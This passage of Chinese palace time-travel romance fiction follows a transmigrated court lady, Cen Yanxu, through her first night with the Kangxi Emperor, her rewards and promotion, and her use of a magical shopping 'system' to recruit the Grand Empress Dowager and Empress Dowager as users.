她原本还打算若皇上替太子赏了岑氏,她也得赶紧把替大阿哥备下的礼送出去,免得落人话柄。
如今看来,倒是省事了。
“把玉如意收起来吧,用不上了。”
她淡淡吩咐,语气里带着几分轻快。
钟粹宫的荣嫔听到宫女回禀,只是继续慢条斯理地修剪着花枝,脸上看不出什么表情,只周身的气息比往日松快了些许。
而僖嫔那里,更是毫不掩饰地幸灾乐祸:“本宫就说嘛!一个玩意儿罢了,还真当自己能凭这点小道爬上龙床?皇上什么稀罕物没见过,岂会被她这点伎俩迷惑?不过是看在太子的面子上,陪孩子们胡闹一番罢了!”
种种议论,或明或暗,都透着一个意思——岑盐絮,终究是昙花一现,圣心难测,她并未真正站稳脚跟。
然而,到了晚膳时分,一道旨意如同惊雷,炸响了刚刚平静下来的宫闱——皇上翻了岑官女子的牌子,召其今夜侍寝。
消息传来,下午那些或明或暗的嘲笑、庆幸、鄙夷,种种风声瞬间消弭于无形之间。
“哐当——”不知是哪处宫苑,传来了瓷器碎裂的声响。
和实实在在的侍寝恩宠相比,下午那点未曾发下的赏赐算得了什么!
她们这才反应过来,皇帝哪里是不在意,分明是觉得无需用那点东西来平衡,真正的恩典,还在后头呢。
永和宫内,敬嫔坐不住了,匆匆赶往安嫔处。
她一进门,便带着难以抑制的酸意道:“姐姐可听说了?上两次侍寝是贵妃娘娘和钮祜禄妃,按着位份,接下来怎么也该轮到姐姐你了,再往后妹妹我也能沾点光……这可倒好,全让那岑氏一个官女子截了胡!这成何体统!”
安嫔正对镜卸着一支简单的珠钗,闻言神色平静,透过铜镜看了敬嫔一眼,语气淡然:“妹妹何必动气,宫里的宠爱,何时是按位份排着队来的?皇上想召幸谁,又岂是你我一句抱怨左右得了的,咱们做好自己的本分就是了。”
“姐姐你也太看得开了!”敬嫔跺脚,“她一个……”
“好了,”安嫔打断她,将珠钗放入妆奁,“雷霆雨露俱是君恩,争这些,徒增烦恼罢了。”
她看得明白,皇上对那岑氏,似乎确有不同,既然争不来,不如静观其变。
敬嫔见她如此,一肚子的话憋了回去,只得悻悻告辞。
而与各处的暗流汹涌、酸气冲天相比,围房这边则是另一番光景。
春熙得知消息,又是激动又是惶恐,手脚都不知该往哪里放,反复检查着主子的衣物首饰,生怕有一丝不妥。
夏禾和常喜也打起了十二分精神,里外忙碌照应。
而岑盐絮本人,对此并没有太过惊讶。
毕竟经过几日的相处,她和康熙的脾性还算合得来,两个人都比较务实,他情绪稳定做事有章法,她不好争风吃醋容易满足,就算是做朋友,也是极为合适的。
更何况,原主的相貌身材和自己前世像了个十成十,长相是那种长辈不太会喜欢的妩媚相,睫毛卷翘,媚眼如丝,唇红齿白,身材前凸后翘,虽腰肢纤细,但该有肉的地方却柔软挺翘,简直是极品中的极品。
岑盐絮自己看了都心动,前世更是勾得一众前男友□□,分手了都不能忘怀,她就不信康熙对她没欲望。
她心里涌起一丝兴奋和跃跃欲试。
这颜值顶尖、身材出众又身份尊贵的极品男人,终于要被她这个大馋丫头吃干抹净了!
当然,第一次侍寝,她没打算玩得太出格,准备先摸摸底,试试这位帝王的接受程度。
依照规矩,侍寝的妃嫔需提前沐浴净身。
岑盐絮在宫女的伺候下,仔细沐浴完毕,浑身散发
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着淡淡的皂角清香。
她没有选择那些过于繁复的寝衣,只穿着一身宫里准备的、质地轻薄的浅樱色纱衣。
纱衣之下,水红色的绣花肚兜若隐若现,更衬得她裸露在外的脖颈、手臂肌肤莹白如玉,在朦胧的烛光下仿佛泛着一层柔光。
一头青丝乌黑得发亮,并未紧束,只是松松地挽起,几缕发丝垂落颊边,平添了几分平日绝无可能见到的慵懒与媚态。
当她被妥帖安置在乾清宫寝殿的龙榻上,等待着皇帝的到来时,连呼吸都下意识放轻了几分,带着一丝紧张的期待。
康熙处理完政务,踏入寝殿时,看到的便是这样一幅景象。
烛光摇曳,美人侧卧。
那身轻薄的纱衣几乎遮不住什么,反而勾勒出她窈窕有致的曲线,平日里清澈明亮的眼眸此刻微微低垂,脸颊泛着淡淡的红晕,竟是他从未见过的妩媚动人,风情万种。
他的脚步几不可查地顿了一下,深邃的目光在她身上停留了片刻,浑身躁动的血液稍稍沉寂下来,才稳步走近。
殿内,红烛高烧,暖意融融,将一室春光与暗涌的情愫悄然笼罩。
康熙走近,寝殿内烛光融融,将他的身影拉长。
岑盐絮起身,纤细的足踝从锦被中探出,赤足踩在冰凉光滑的金砖地面上,那一点雪白的足尖与深色的地面形成鲜明对比,带着一种无声的诱惑。
她微微屈膝,柔声开口:“妾身给皇上请安……”
然而,就在她弯腰行礼的刹那,只听极轻微的一声细响——颈后本就未系紧的丝带,竟倏地松脱开来。
整片柔软的水红色绸缎瞬间失去了依托,顺着她光滑的肌肤往下滑落,堪堪停留在腰际。
霎时间,满目春光暴露在温暖的空气中,随着她略显急促的呼吸微微起伏。
岑盐絮低呼一声,似是羞窘至极,脸颊瞬间飞上红霞,连耳根都染上了绯色。
她下意识地想要掩住春光,却慌乱得手足无措,带着一阵香风,软软地扑进了康熙坚实温热的胸膛之中。
温香软玉满怀。
14. 常在份例
女子身体特有的柔软馨香毫无间隙地袭来,微凉的肌肤紧贴着他明黄色的龙袍,触感清晰得惊人。
康熙只觉得呼吸猛地一室,喉结不自觉地滚动了一下,向来自持的清明冷静,在这一刻被怀中这具活色生香的身体冲击得七零八落。
他下意识地伸手,扶住了她纤细滑腻的腰肢,掌心传来的触感让他手臂的肌肉瞬间绷紧。
他一把将岑盐絮抱起,行至床榻之上。
床帘被男人的大手拉下,肚兜,纱衣被一件一件扔出来……
天色还未亮透,窗纸外是一片沉沉的青灰。
康熙生物钟极准,到了时辰便自然醒来。
他刚一动,身边蜷缩着的女子就无意识地哼唧了一声,像是怕热源跑掉,迷迷糊糊地伸出手臂,软软地揽住了他的腰,脑袋还在他肩窝处蹭了蹭。
动作全是睡梦中的依恋,不带半分清醒时的谨慎与克制。
康熙动作一顿,低头看向怀里。
岑盐絮睡得脸颊泛红,长发有些凌乱地铺在枕上,长睫安静地垂着,呼吸均匀,更添了几分毫无防备的柔媚。
他心下微软,原本要立刻起身的动作缓了下来,宽大的手掌轻轻拍了拍她的肩头,带着一种连他自己都未曾察觉的温和。
她却似有所觉,唇间逸出一声不满的轻咛。
他看着她这娇憨模样,心底那点难得的柔软又扩散开来。
俯下身,在她光洁的额头上印下一个轻吻,随即往下,精准地含住了那微微嘟起的唇瓣,轻轻吮吸了一下。
岑盐絮在睡梦中被扰,双手不满地在康熙腰腹间滑动,惹得康熙呼吸一窒,在她挺翘的臀上拍了一下,轻声在她耳边道:“你若是想再来一次,朕可以不用早膳,陪你闹上一闹。”
岑盐絮耳朵发痒,终于撤下了那双作乱的手,转去揉耳朵。
康熙动手狠狠揉捏了一番手下的软肉,见她只是咂咂嘴,又歪头睡去,不由得失笑摇头,这才放轻动作,真正起身,示意宫女太监们转移到外间穿衣洗漱,没有惊动她。
直到他离开,乾清宫的寝殿内重归寂静,只剩下岑盐絮一人安稳的呼吸声。
这一觉,岑盐絮直接睡到了辰时三刻,窗外已是天光大亮。
被窝里还残留着康熙身上的龙涎香气,她下意识地往那暖热过的地方蹭了蹭,有些贪恋那点余温。
昨夜的记忆翻涌上来,他博大精深,她源远流长,十分契合,体验感绝佳,岑盐絮满足地坐起身,白嫩的脖颈胸前满是承宠后的春色。
听到动静,宫女们鱼贯而入。
岑盐絮已没了力气,尤其是大腿的软肉被连连造访,现在她的两条腿都发着软,只能由着宫女伺候她洗漱更衣,回到围房时,已是日上三竿。
她脸上带着些倦色,但眉眼间舒展柔和,春色动人,眸子水光潋滟,任谁看了都明白昨夜滋味不差。
刚进院子,以常喜为首的奴才们便齐刷刷跪了一地,声音里透着压不住的喜气:“奴才/奴婢给主子道喜!”
岑盐絮叫起后,春熙语气带着与有荣焉道:“小主,宫里规矩,嫔位以下的主子侍寝,结束后都是由敬事房太监卷着送回自己宫里的,能在乾清宫留宿到天明的,小主您是头一份!万岁爷待小主,真是格外不同!”
岑盐絮听了,心里并没什么波澜,反倒觉得理所当然。
要是昨晚被折腾到那样,还要半夜三更被拖起来送走,她才要骂人呢。
至于什么特殊不特殊,她更不在意,比较来比较去,无非是围着皇帝转,比起这些特殊的待遇,她还是对康熙龙精虎猛的□□更感兴趣。
她看着面前这群脸上放光的奴才,神色淡了下来,声音不高却清晰:“皇上如何,不是我们该揣测的,以前怎么过日子,往后还怎么过,不许借着由头张狂,更不许在外头惹是生非。若让我知道谁打着我的旗号行事不端,绝不轻饶。”
众人见她神色严肃,不似作伪,心里的热火被浇熄了些,赶紧喏喏应下:“奴才/奴婢谨记小主教诲。”
与此同时,乾清宫。
梁九功心里正啧啧称奇。
万岁爷不是贪欲之人,平日在这事上颇为克制,谁知昨夜竟叫了三回水,还让那位岑小主留宿到天亮,真是太阳打西边出来了。
他正琢磨着,就听里头康熙唤他:“梁九功。”
“奴才在。”他赶紧敛了心神,躬身进去。
“你去一趟围房。”康熙语气平常,吩咐着要送给岑盐絮的赏赐,像是在说一件再普通不过的事。
梁九功垂首听着,越听心里越是惊讶。
万岁爷竟让他这个御前总管亲自去送赏?往日里,便是那些贵人、常在侍了寝,也没这份体面啊。
而且这赏赐……可谓是丰厚非常啊。
他心里翻江倒海,面上却不敢显露分毫,只恭敬应道:“嗻,奴才这就去办。”
*
岑盐絮刚用了早膳,正歪在榻上,由春熙和夏禾帮着揉捏快散架的肩膀和大腿,膝盖上还抹了药膏——昨晚跪的,到现在还是红的。
就听常喜在门外禀报,说梁总管来了。
她忙起身整理了一下衣襟,迎了出去。
梁九功满面笑容,先说了几句吉祥话,随后便朗声念起赏赐:“皇上赏,岑官女子西洋钟一座,玉如意一对,金簪一对,玛瑙镯子一双,江南进贡妆花缎两匹,宫绸四匹,银锞子二十个……”
岑盐絮心里有数,这赏赐比规矩里的多了不少,光是搬到屋里归置好,都花了一炷香的功夫。
她正准备示意春熙递上备好的荷包,却见梁九功笑容更深了些,道:“小主别急,奴才还没念完呢——皇上口谕,往后,岑官女子享常在分例,奴才恭喜小主了!”
岑盐絮眼前顿时一亮!
听到这个,她是真高兴!官女子的份例紧巴巴的,常在可就宽裕多了!
不说常在份例里每年有五十两俸银和丝绸配给,光是每日的猪肉、白面、粳米、蔬菜、佐料、蜡烛炭火这些,就翻了一倍不止,还能多用一个宫女和两个太监,这都是实实在在的好处!
梁九功一走,便有内务府的人过来,补齐了本月份例和宫女太监,织造处的掌事姑姑更是亲自过来量身,为她定做宫装。
得了赏赐和晋升份例的好事,像长了翅膀一样传遍后宫。
可接下来的两日,康熙却未召任何妃嫔侍寝,也再未和岑盐絮见过面,只偶尔叫贵妃、荣嫔几个高位妃嫔一同用膳。
围房里的气氛又悄然紧绷起来,夏禾和春熙做事更加精细,说话都陪着几分小心,生怕触了主子的霉头。
岑盐絮也有些担心,不过她担心的方向有点歪:康熙不会是那天晚上太猛,这两天……虚了吧?可史书上他子嗣那么多,晚年还能召幸妃嫔,不像是不行的样子啊。
不过他不来也好,她乐得清静,前几日风头太盛,这两日消停点,正好避避锋芒。
前一日,趁着得闲,岑盐絮把琐碎事宜都分给
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了内务府新送来的宫女太监,教着春熙、夏禾和常喜学了一些阿拉伯数字,又亲手画了几个表格,手把手教着她们把院里的东西,无论是皇上赏的,还是自己的份例,都分门别类地标记好。
这样一来,就算以后东西多了,拿取也清晰方便些。
这日,系统更新的倒计时仅剩几个小时,岑盐絮等得有些焦躁,刚好这日天气晴好,索性便带着春熙和夏禾去御花园散步,没走多远,就撞见了刘官女子和她那个嘴碎的宫女。
那宫女正指着不远处一丛开得正盛的芍药,声音不大不小,刚好能让岑盐絮听见:“小主您瞧,那花儿颜色再鲜亮,也不过是应个景儿,开过了也就罢了,终究是比不上那些有名有分、能搬进正经宫苑里的,那才叫长久的福气呢。”
她看了岑盐絮一眼,继续道:“有些人啊,占着有几分颜色,得了点眼缘,就以为能一步登天了,殊不知官大一级压死人,这根基浅薄的人,连主子的面都难见上呢。”
刘官女子低着头,捏着帕子,并未出声制止。
岑盐絮本不在乎这些口舌之争,在她看来,自己如今住的院子又大又清净,不知多自在,真要做了常在,还得搬去和别人挤一个宫,日日给主位娘娘请安,哪有现在舒服?
她要么就自己做主位,要么还不如安安静静做个官女子。
但不在乎,不代表能任人骑到头上嘲讽。
她停下脚步,目光落在那宫女身上,声音平静无波:“跪下。”
那宫女一愣,显然没料到她会直接发难,强自镇定道:“岑官女子这是何意?奴婢方才又未曾说您……”
岑盐絮嘴角扯起一抹没什么温度的弧度:“就凭我是官女子,你不过是一介宫女,既你信服官大一级压死人的道理,那我今日看你不顺眼,罚你跪,你便跪着吧。”
话音落下,夏禾直接强压着那宫女跪在原地,那宫女想要挣脱,力气却抵不过自幼练习拳脚功夫的夏禾,气得又急又臊。
刘官女子见状,忙上前一步,柔柔弱弱地求情:“岑姐姐,她年纪小不懂事,您大人有大量,饶她这一回吧……”
岑盐絮目光转向她,语气冷了几分:“刘官女子,你次次纵容你的奴才口无遮拦,我尚未与你计较,你倒有脸来求情?既然你管不好自己的人,那我便替你管一管。”
她转头示意夏禾:“看着她,让她在这里跪足半个时辰。”
刘官女子被噎得说不出话,脸上一阵红一阵白。
她确实每次都默许甚至暗暗享受着宫女贬低岑氏带来的那点快意,此刻被当众戳破那层维持体面的遮羞布,委屈、难堪涌上心头,眼泪禁不住就掉了下来,哭得梨花带雨。
岑盐絮却不再看她,留下夏禾监督,自己带着春熙径直离开了。
走出一段路,她心里并无多少快意。
这刘官女子哭起来确实好看,我见犹怜。
她也不是存心要磋磨那个宫女,只是这御花园里耳目众多,她今日若忍气吞声,明日就会有更多人敢来踩她一脚。
倒不如一开始就立个不好相与的名声,让那些心思活络的望而却步,这是她从原主那些模糊记忆里领悟到的后宫生存法则——宫里容不得无用的善良。
只知道忍气吞声的人,是活不长久的。
回到围房院子,她刚踏进房门,却意外地看见一道明黄色的身影正坐在她常坐的那张榻上,手里翻看着她昨日画到一半的摇椅草图。
康熙抬起头,目光沉静地看向她。
15. 赏赐
岑盐絮一脚踏进房门,目光便撞上了那道坐在她榻上的明黄身影。
她的视线不由自主地定格在他腰腹间。
几天前那个晚上的记忆瞬间鲜活起来——指尖下那腹肌的触感紧实分明,温热而充满力量……
“奴才给万岁爷请安!”身后春熙等人的请安声让她倏然回神,慌忙收敛心神,上前一步,规规矩矩地屈膝:“万岁爷。”
康熙放下手中那张画着摇椅的图纸,抬眼看来,他却并未叫她起身,而是自己站了起来,几步走到她面前,伸手握住了她的手腕。
他的手掌宽大干燥,带着不容置疑的力道,轻轻一带便让她站直了身子。
“不必多礼。”他声音平稳,牵着她走到外间的椅子旁坐下,却依旧没松开她的手。
岑盐絮看着他带着些许笑意的眼眸,顺着那力道,侧身坐到了他结实的大腿上。
康熙似乎怔了一下,随即从善如流地松开她的手腕,大手转而扶住了她不盈一握的腰肢,稳稳地托住。
屋内的太监宫女们早已训练有素地垂下眼,悄无声息地退了出去,还贴心地带上了房门。
“方才在看什么?”康熙低头,看着近在咫尺的她,声音里带着一丝不易察觉的揶揄。
岑盐絮抬眼,直直望进他深邃的眸子里,脸颊微热,胆子却大了起来。
她抬起一只手,径直按在了他之前被视线逡巡的地方,隔着光滑的绸缎衣料,不老实地摸了摸,指尖甚至能勾勒出其下紧韧的轮廓。
“在看……这里。”她声音轻轻的,带着点理直气壮的狡黠。
康熙呼吸微沉,一把抓住了她作乱的手,眸色暗了暗:“越发大胆了。”
岑盐絮顺势用空着的手臂搂住他的脖颈,整个人贴近了些,吐气如兰:“妾身不过是对您……太过想念。”
康熙看着她亮得惊人的眼睛,感受着怀中温软的身子,喉结滚动了一下,语气带着几分无奈的训诫:“重欲不好。”
岑盐絮看着他的嘴唇张合,心里嘀咕:叽里咕噜说什么呢,给我亲一口。
想着,便仰头凑了上去,精准地覆上了他那张说着教训话语的薄唇。
他平时自认冷静自持,但到底是二十多岁的男人,最是血气方刚。
康熙身子微微一僵,随即化被动为主动,加深了这个吻。
一时间,屋内只余下暧昧的喘息声。
良久,两人才气息不稳地分开。
岑盐絮从康熙腿上下来,坐到旁边的椅子上——再不下来,这青天白日的就要擦枪走火了。
她脸颊绯红,捧着茶杯小口啜饮,试图平复有些紊乱的气息。
平复片刻,康熙指了指内间榻上的图纸,转移了话题,声音还带着一丝沙哑:“朕私库里倒有个洋人进贡的玩意儿,与你画的这椅子有些相似,叫做摇椅。”
“你既喜欢,朕便赏了你。”
岑盐絮眼睛一亮,立刻笑吟吟谢恩:“谢万岁爷赏赐!”能坐现成的,不必再使银子和造办处沟通,她自然乐得轻松。
两人又说了会儿话,梁九功却在门外禀报,声音带着些小心:“万岁爷,纳兰府上递了话进来,说是纳兰侍卫伤寒沉重,告假数日。另,明珠大人递了折子,想请位御医去纳兰府。”
康熙叹了口气:“自去岁卢氏难产走后,他便郁郁寡欢,如今,终究还是病倒了。可怜纳兰明珠一片慈父之心,你亲自去太医院跑一趟吧。”
梁九功领命退下,岑盐絮陷入纠结。
他们此刻说的纳兰侍卫,应该便是那个被誉为满清第一词人的纳兰性德。
她前世便知他才华横溢,却英年早逝,一直引为憾事。
如今的他才二十四岁……她想到了系统奖励的三九感冒灵。
待梁九功退下后,岑盐絮犹豫再三,还是开口道:“皇上,方才梁公公所言,让妾身想起一事。”
“哦?”康熙有了些预感,但还是不敢相信她要冒险拿出那等奇药。
岑盐絮内心给自己鼓了鼓劲,说道:“仙师在赐下维生素前,其实……还赐下过一种名为感冒灵的药物,言说对伤寒症或有奇效,只是妾身不知其效深浅,一直未敢妄言。”
康熙闻言,内心有一丝触动。
他深知那感冒灵的不凡,岑氏竟愿将这等可能救命的药物拿出,当真是一片赤诚之心。
他沉默片刻,沉声道:“你有此心,甚好。”
随即唤来魏珠,吩咐道:“岑氏从老家带了一种新药,你拿去太医院,让他们……仔细验看,若确认无误,便即刻送往纳兰府上。”
“嗻,奴才明白。”魏珠心领神会,这药早就验看过了,此时不过是在岑小主面前走个过场。
他恭敬地接过岑盐絮取出的包装被换成常见油纸的几包药,退了下去。
康熙又坐了片刻,便起身离开,说是要去慈宁宫给太皇太后请安。
宫道上,晚霞染得天红了半边,带着凉意的风不停歇地吹着。
康熙坐着御辇往慈宁宫去,辇驾平稳,他的心思却有些起伏。
他又想起岑盐絮献药的举动,其实就算她不主动拿出来,他也会用自己之前买下的药赏给纳兰性德,只是心里会不会留下疙瘩,就未可知了。
或许现下不会,他还年轻,对自己有足够的自信。
但老了呢?等他老了,等他万事有心无力、半只脚踏入棺材了,再想起她今日私藏了这等可能救治他重臣的药物,自己会如何想?
这次她能为纳兰性德藏着,下次若自己病重,她是否也会因种种顾虑而犹豫?会不会明明有能救自己的药却藏着掖着?
届时,他还能否如今日这般心无芥蒂?
帝王心术,他自己都不敢保证不会生出猜疑。
思绪至此,他微微蹙眉。
随即又失笑摇头,觉得自己想得过多。
无论如何,她此刻主动献药,有功无过。
他大概有很长一段时间,都会在她身上投注极高的信任。
他该赏她才是。
于是康熙招来已将药送去太医院并回来伴驾的魏珠,低声吩咐了几句。
岑盐絮丝毫不知,自己一番惜才与善意,已在无形中避开了
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一场潜在的君心猜忌。
康熙走后约莫两炷香的功夫,魏珠便带着几个小太监,抬着、捧着好些东西过来了。
“给岑小主道喜!”魏珠满面笑容地打了个千儿,随即开始宣读赏赐单子。
除了那架做工精巧的摇椅之外,还有一座琉璃镜子、一小匣子各色晶莹琉璃珠子。
岑盐絮对琉璃珠没什么新奇的,对镜子却喜欢得很,立即叫夏禾放到了梳妆台上,她忍铜镜久矣,每天上妆都分不清轻重。
紧接着便是更实在的:两个沉甸甸的托盘里,放着整整一百两雪花银;另一盘里是各式金银锞子,攒成吉祥式样,金光灿灿;还有两匹江宁织造进贡的缠枝莲暗花缎,颜色鲜亮,质地柔滑;一套赤金镶嵌红宝石的头面,包括簪、钗、钿、戒,做工极为精致;另外便是两盒圆润饱满的珍珠。
赏赐之厚重,都要赶上自己侍寝第二天的了。
不过岑盐絮大致也知道为什么,她的目光投注在那格外显眼的十几盒三九感冒灵和维生素上。
待其他太监将东西安置好退下,魏珠才上前一步,压低了声音,带着几分神秘对岑盐絮说道:“小主,不瞒您说,这绿皮的药可真真是神了,万岁爷的御轿刚离开您这儿不远,轿子里就凭空出现了这么一大堆,可把咱们吓得不轻!”说得显然是三九感冒灵。
他又指着维生素:“太医院那边也回了话,说这维生素竟能让那些晚上视物不清的人,眼神变得清亮些!万岁爷说了,此物既源于小主您的机缘,便都交由您收着些,以备不时之需。”
他边说,岑盐絮边在心里判断,这些人应该是维生素摄入不到位导致的夜盲症,恰巧对症了。
她本以为把药上交之后,自己就别想再拿回来了,没想到这皇帝还是有点人性的,不仅超出原有分量地还给她药,还赏了那么多东西。
给了份厚赏,送走了魏珠,岑盐絮看着那堆药,心里不禁感叹,这系统,就算在更新中,也不忘兢兢业业地坑皇帝的钱啊!
她忽然又想起穿越第二天,宫里突然多出的那些被视为祥瑞的、与她秒杀的同款被子……不会那也是系统背着她,从康熙那里坑来的吧?
想到这里,她下意识地凝神,尝试呼唤系统。
原本毫无反应的系统界面上,竟真的浮现出一个淡淡的半透明界面,上面只有一个极简的倒计时——
九、八、七、六、五……
*
慈宁宫内,檀香袅袅。
康熙关心着太皇太后的身体,太皇太后却慢悠悠地拨着佛珠,看向下首的康熙,对他的关心闻而不答:“皇帝,哀家听闻,围房里住了个岑氏,很受你重视?”
康熙正斟酌着该如何解释,却见太皇太后忽然面色一变,手里的佛珠都顿住了,眼神里满是惊疑不定,喃喃道:“这……这是何物?哀家脑子里……怎么有个声音在说话?说什么……系统?”
康熙凝神看去,只见太皇太后面前有个与自己的一般无二的系统屏幕。
【拼夕夕邀请您注册!点击即享新人专属福利!】
康熙:“!!!”
16. 邀请
围房中,岑盐絮盯着淡蓝色光屏,倒计时归零后,光屏如水波般轻轻一荡,旋即稳定下来,出现两行小字。
【叮!系统已更新完毕!当前剩余能量:50%。】
【为优化宿主体验,新功能现已开放!】
岑盐絮凝神细看,光屏上不再是以往的空白一片。
右上角,增设了当前所处的时间,显示着康熙十七年四月二日下午五时二十分。
左上角则是多出了天气栏,可以看到最近三天的天气。
中间则是出现四个图标,第一个图标是一个购物车,下面写着每日秒杀四个字。
岑盐絮点开一看,发现每日秒杀的规则有了些变更。
往后,每天的申时正,也就是下午三点,系统便会自动刷新四样精选出来的物件,她只需付一文钱,便能随意挑走一样。
系统的播报透着几分轻松:“宿主终于不用被随机任务追着跑啦,每日安心捡漏便是!”
听到这话,岑盐絮心头一松。
这倒是省心了,再不用提心吊胆,生怕在什么要命关头冒出个刁难人的任务来。
接着,岑盐絮返回主界面,目光后移,还有三个图标,不过图标都是灰色的,还落了锁。
“这是怎么回事?”
光屏上,一行加粗的字迹显现出来:
【新功能耗费颇巨,为保功能长久安稳,请宿主于一日内,再邀至少两位新用户,所邀之人身份越贵,气运越高,可开启的新功能越实用。】
“果然还是老一套……”
岑盐絮并不意外,系统对拉新用户的执念,真是雷打不动。
她不禁沉吟起来,被拉做新用户,后果究竟会如何?
她回想起康熙被拉新后的情形。
按照康熙的说法,他只要心里对某样东西起了念想,而这样东西正好自己当天秒杀到的,就能在浑然不觉、无需经过他点头的情况下,直接从系统那儿“买”成,至于这钱,自然是系统私自扣的。
她不由想起了上回去营造司听到的所谓被子祥瑞,或许就是康熙一时觉得想换新被子,念头刚起,就被系统捕捉,误打误撞罢了。
在岑盐絮的视角里,康熙并不知晓自己的系统,同样的,只要被拉的新用户不知晓她这个源头,自个儿心里也没生出强烈的渴求,便绝无暴露的可能。
最多,也就是像上次乾清宫那晚凭空多出的成堆被子一样,被当做是祥瑞。
如此一番掂量,拉新用户看来确实没什么危险,至多是宫里再多几桩无头无脑的祥瑞罢了。
这样一想,便没什么后顾之忧了。
要拉,就大胆地拉地位高、气运盛的!
这紫禁城内,除了康熙,便是太皇太后和皇太后最为尊贵了。
主意既定,她便不再踌躇,收敛心神,将意念集中于系统新现出的拉新页面上。
那页面恍若一卷藏了许多秘辛的名册,浮动着宫中众人的名号,她掠过那些妃嫔宫人,目光直直落向最顶端那两个称谓上,意识轻动,确认选择——太皇太后博尔济吉特氏,皇太后博尔济吉特氏。
意念轻触,两道无形的邀约,便悄无声息地递送了出去。
做完这一切,岑盐絮轻轻吁出一口气,心里有些空落落的没底,又带着几分办完大事后的微松和隐隐的期盼。
上次她确认邀请康熙后,便直接晕过去了,再醒来,系统已显示拉新成功,导致她如今都不清楚要等上多久,系统才能开启新功能。
她端起桌上那杯已微凉的茶,呷了一口,接下来,便只能静待其变了。
慈宁宫内,康熙安慰着惊骇不定的太皇太后道:“您同意便是。”
若这系统绑定真如他所经历那般,于皇玛嬷而言,或许并非坏事,反倒可能是一番机缘,能得些养生健体的好东西。
他正欲开口解释,却见太皇太后缓缓回过神,她到底是历经三朝风雨,心性非同一般。
她微微眯起眼,看向康熙,语气带着探究:“皇帝,你方才说那岑氏……莫非,此事与她有关?你眼前,是不是也能看见些……不同寻常的东西?”
康熙知道瞒不过,也不再绕圈子,躬身道:“皇玛嬷明鉴。孙儿眼前,确实早有一块类似的光幕。此物
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名为系统,来历奇异,其中确有诸多不凡之物,于国于家或有益处,孙儿之前所得的仙药,皆源于此。”
他略一沉吟,决定替岑盐絮稍作遮掩:“至于它为何会找上皇玛嬷……许是感知到您老人家福泽深厚,自行择主。”
太皇太后是何等人物,康熙话中未尽之意,她已猜到大半。
她沉吟着,目光扫过眼前那悬浮的、催促她确认注册的古怪光框,又看看神色诚恳的孙子,心中已有了决断。
她活到这岁数,什么风浪没见过,这等奇事,倒勾起了她几分兴致。
“罢了,”太皇太后拨动了一下佛珠,神色恢复了一贯的从容,“既然是机缘,那哀家便瞧瞧,这是个什么名堂。”
她意念微动,依着那光幕的指引,选择了【同意】。
就在她完成注册的瞬间,外间传来些许动静,紧接着,皇太后竟有些匆忙地走了进来,脸上带着显而易见的惶惑不安,也顾不得礼仪周全,便对太皇太后和康熙说道:“皇额娘,皇帝,方才哀家脑子里突然有个声音说话,还有个亮晃晃的框子,哀家心里一慌,不知怎么的就点了头!这、这是怎么回事?莫非是冲撞了什么?”
康熙看着皇太后这手足无措的模样,再想想方才皇玛嬷的镇定,心下只觉得哭笑不得。
他连忙温声安抚道:“皇额娘莫慌,此乃一桩奇遇。”他上前虚扶住皇太后,引她坐下。
太皇太后也开口道:“不错,不必害怕,皇帝方才正与我说此事呢。”
见两位长辈都看向自己,康熙知道,是时候将部分真相和盘托出了。
他整理了一下思绪,语气平和却带着一丝不易察觉的无奈,说道:“皇玛嬷,皇额娘,你们不是一直想知道,孙儿为何对那岑氏如此不同吗?”
他顿了顿,迎着两位长辈疑惑的目光,缓缓将事实润色一番,弱化岑盐絮的奇异之处,只道是有仙人庇佑大清,以安这二老之心。
而远在围房的岑盐絮,对此间围绕她展开的对话一无所知,只在系统提示两位新用户已成功注册时,心头一块大石落地,满心期待着新功能的全面开启。
17. 新功能
主界面后三个图标浮现出来,下面的小字分别是:三人拼团、垃圾回收、商品暂存。
点开三人拼团,便出现了一段关于此功能的说明。
大意是,往后她若身处三人以上的场合,系统或许会顺势发布些应景的任务,完成任务,系统会根据宿主所处场景,发布随机奖励,此奖励可以免费获得,可若还想多要,就得按原价来买——系统还特意提了一嘴,这拼团里的东西,为了保证质量,原价都不低于三十两银子。
随后,她又点击另外两个功能:垃圾回收是专设了处理那些不能降解的商品垃圾的地方,让她再无后顾之忧;商品暂存则是给她辟了个独属的收纳空间,空间是真空的,大小约莫像个行李箱,可以存放些物品,不必担心保质期的问题。
这两个功能简直是穿越人士一大利器,算是解了岑盐絮的燃眉之急。
看完新功能,岑盐絮迫不及待地打开了每日秒杀。
光屏展开,四个商品图案清晰浮现:两袋组合装的火锅底料、一小包辣椒种子、一斤黄澄澄的柠檬,以及一个造型小巧的蓝牙耳机。
岑盐絮自动过滤了那个在当下纯属废铁的蓝牙耳机,目光在另外三样上逡巡:火锅!辣椒!柠檬水!这都是能让她一饱口福的好东西啊,看着都要流口水了!
如今手中有了闲钱,也有了原价购买的底气,于是她仔细看去每样商品下方的价格:
火锅底料(牛油麻辣)原价:15两银子;辣椒种子(朝天椒,高产型原价:20两银子;柠檬(一级果,一斤装)原价:8两银子。
“辣椒种子居然最贵……不过想想也是,辣椒种子在清朝康熙年间几乎不存在,尤其高产良种,而且,这可是能持续收获的宝贝。”岑盐絮喃喃自语。
最便宜的柠檬虽罕见,但这时候已有少量通过西洋贸易流入,多为贡品,不过因为滋味太酸,不受康熙喜爱,所以比较少见。
思考两息,岑盐絮迅速做出了决定——一文钱的秒杀机会自然要用在最贵的商品上。
她集中意念,选择了【辣椒种子】,支付了一文钱,紧接着,微光一闪,一个不起眼的牛皮纸小包出现在桌上。
接着,她又分别点击了【火锅底料】和【柠檬】。
“购买。”
【支付成功,扣除23两银子。】
系统提示音响起的同时,几块方方正正、裹着厚厚牛油和辣椒的底料,以及五、六个个头饱满、颜色鲜亮的柠檬也出现在了辣椒种子旁边。
看着这三样来自现代的美味,岑盐絮心情大好。
她心念一动,将火锅底料和辣椒种子收进了新解锁的【商品暂存】空间,桌上只留下了那几个诱人的柠檬。
做完这些,她并没有急着去处理柠檬,而是将注意力放在了第二个新功能——【三人拼团】上。
系统说明写得清楚,需身处三人以上场合,才有可能触发随机任务,这功能效果如何,她心里没底,打算先在自己宫里试试水。
她扬声唤道:“春熙,夏禾,你们进来一下。”
守在门外的两人应声而入,垂手听命。
“主子有何吩咐?”
“没什么要紧事,”岑盐絮尽量让自己的语气显得随意,“前几日教你们认的那表格和数字,可都记熟了?正好这会儿得闲,把皇上之前赏的那些东西,再对着册子理一理,我也瞧瞧。”
春熙和夏禾虽有些疑惑主子为何突然要亲自盯着她们整理赏赐,但还是依言行动起来,一个去取册子,一个去开箱笼。
